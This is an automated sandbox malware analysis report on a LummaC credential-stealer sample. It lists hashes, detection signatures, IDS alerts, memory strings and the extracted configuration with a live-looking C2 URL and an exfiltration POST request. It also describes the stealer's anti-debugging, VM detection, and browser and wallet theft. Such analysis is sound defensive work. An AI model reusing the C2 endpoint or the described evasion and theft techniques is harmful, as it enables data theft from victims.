Edit tour

Windows Analysis Report
I2BJhmJou4.exe

Overview

General Information

Sample name:	I2BJhmJou4.exe renamed because original name is a hash value
Original sample name:	16f4ab4f0ba6ebd746bcc6b032346ffb80f88814e78e103739af0e5569fee962.exe
Analysis ID:	1555044
MD5:	c847cb3090530ec9ae2e82805a03360d
SHA1:	a7f075ba37961545ae0a819bda5d2be28618d60d
SHA256:	16f4ab4f0ba6ebd746bcc6b032346ffb80f88814e78e103739af0e5569fee962
Tags:	94-158-244-69exeuser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to hide a thread from the debugger

Delayed program exit found

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Enables driver privileges

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

I2BJhmJou4.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\I2BJhmJou4.exe" MD5: C847CB3090530EC9AE2E82805A03360D)

WerFault.exe (PID: 3712 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1708 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_1	Yara detected LummaC Stealer	Joe Security
dump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf00:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1423642848.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: I2BJhmJou4.exe PID: 7500	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: I2BJhmJou4.exe PID: 7500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I2BJhmJou4.exe PID: 7500	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.I2BJhmJou4.exe.400000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.2.I2BJhmJou4.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.3.I2BJhmJou4.exe.49f0000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:54:22.079039+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.8	49706	TCP
2024-11-13T10:54:59.967146+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.8	49711	TCP

ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:53:30.089830+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49713	94.158.244.69	80	TCP
2024-11-13T10:53:30.089830+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49708	94.158.244.69	80	TCP
2024-11-13T10:54:34.362378+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49707	94.158.244.69	80	TCP
2024-11-13T10:54:53.135143+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49709	94.158.244.69	80	TCP
2024-11-13T10:55:02.213728+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49710	94.158.244.69	80	TCP
2024-11-13T10:55:10.989197+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49712	94.158.244.69	80	TCP
2024-11-13T10:55:29.613117+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49714	94.158.244.69	80	TCP
2024-11-13T10:55:30.349548+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49715	94.158.244.69	80	TCP
2024-11-13T10:55:48.326883+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49716	94.158.244.69	80	TCP
2024-11-13T10:55:57.094150+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49717	94.158.244.69	80	TCP
2024-11-13T10:56:06.203781+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49718	94.158.244.69	80	TCP
2024-11-13T10:56:15.057549+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49719	94.158.244.69	80	TCP
2024-11-13T10:56:23.838414+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49720	94.158.244.69	80	TCP
2024-11-13T10:56:32.618908+0100	2043206	1	A Network Trojan was detected	192.168.2.8	49721	94.158.244.69	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:55:30.349548+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49715	94.158.244.69	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Multi AV Scanner detection for submitted file

Source: I2BJhmJou4.exe

ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: I2BJhmJou4.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_004052D9 CryptUnprotectData,

0_2_004052D9

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Unpacked PE file: 0.2.I2BJhmJou4.exe.400000.0.unpack

Source: I2BJhmJou4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00451F08 FindFirstFileExW,	0_2_00451F08
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00451FBC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F22223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_02F22223
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F2216F FindFirstFileExW,	0_2_02F2216F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49710 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49716 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49721 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49714 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49712 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49718 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49717 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49719 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49709 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49720 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49707 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49715 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49715 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49713 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.8:49708 -> 94.158.244.69:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://94.158.244.69/c2sock

Source: Joe Sandbox View

IP Address: 94.158.244.69 94.158.244.69

Source: Joe Sandbox View

ASN Name: MIVOCLOUDMD MIVOCLOUDMD

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.8:49711
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.8:49706

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69

Source: unknown

HTTP traffic detected: POST /c2sock HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: TeslaBrowser/5.5Content-Length: 16465Host: 94.158.244.69

Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/%OB
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/KH0
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005CAF000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockab?
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2socklb:
Source: I2BJhmJou4.exe, 00000000.00000002.3246415805.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2socks
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/oH
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/yH
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B81C lstrcatW,lstrcmpW,lstrcmpW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrcmpW,lstrlenW,lstrcatW,lstrcatW,lstrcatW,NtCreateFile,lstrcatW,NtQueryDirectoryFile,lstrcmpW,NtClose,lstrcmpW,lstrlenW,lstrlenW,lstrcmpW,	0_2_0040B81C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00422177 NtQueryInformationProcess,	0_2_00422177
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040A928 lstrcmpW,lstrlenW,lstrcatW,NtCreateFile,lstrcatW,lstrlenW,	0_2_0040A928
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B129 lstrcatW,lstrcatW,NtReadFile,NtClose,	0_2_0040B129
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042F1C2 NtClose,	0_2_0042F1C2
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,	0_2_0041F9A4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004244E4 NtSetInformationThread,	0_2_004244E4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004224A3 NtQueryInformationProcess,	0_2_004224A3
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004245EC NtQuerySystemInformation,	0_2_004245EC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00421EEB NtQueryInformationProcess,	0_2_00421EEB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B7BB lstrcmpW,NtClose,	0_2_0040B7BB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B7F5 NtClose,	0_2_0040B7F5

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B81C	0_2_0040B81C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042C0DA	0_2_0042C0DA
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00434080	0_2_00434080
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040E14E	0_2_0040E14E
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040A928	0_2_0040A928
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040B129	0_2_0040B129
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042B9C5	0_2_0042B9C5
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004069A1	0_2_004069A1
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041F9A4	0_2_0041F9A4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041C270	0_2_0041C270
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042F278	0_2_0042F278
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040620B	0_2_0040620B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00430228	0_2_00430228
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004052D9	0_2_004052D9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00436ADC	0_2_00436ADC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00405AAA	0_2_00405AAA
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043B362	0_2_0043B362
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00402476	0_2_00402476
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042FD35	0_2_0042FD35
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042AD82	0_2_0042AD82
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042D658	0_2_0042D658
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00430E6C	0_2_00430E6C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00438E28	0_2_00438E28
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042CFBA	0_2_0042CFBA
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041204D	0_2_0041204D
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00441057	0_2_00441057
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00415070	0_2_00415070
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00448800	0_2_00448800
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043D8D0	0_2_0043D8D0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041E083	0_2_0041E083
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0044915B	0_2_0044915B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0045D15A	0_2_0045D15A
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041316D	0_2_0041316D
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040112C	0_2_0040112C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004279E0	0_2_004279E0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041D1E9	0_2_0041D1E9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004109FC	0_2_004109FC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0040D994	0_2_0040D994
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0044F244	0_2_0044F244
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041AA49	0_2_0041AA49
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041B251	0_2_0041B251
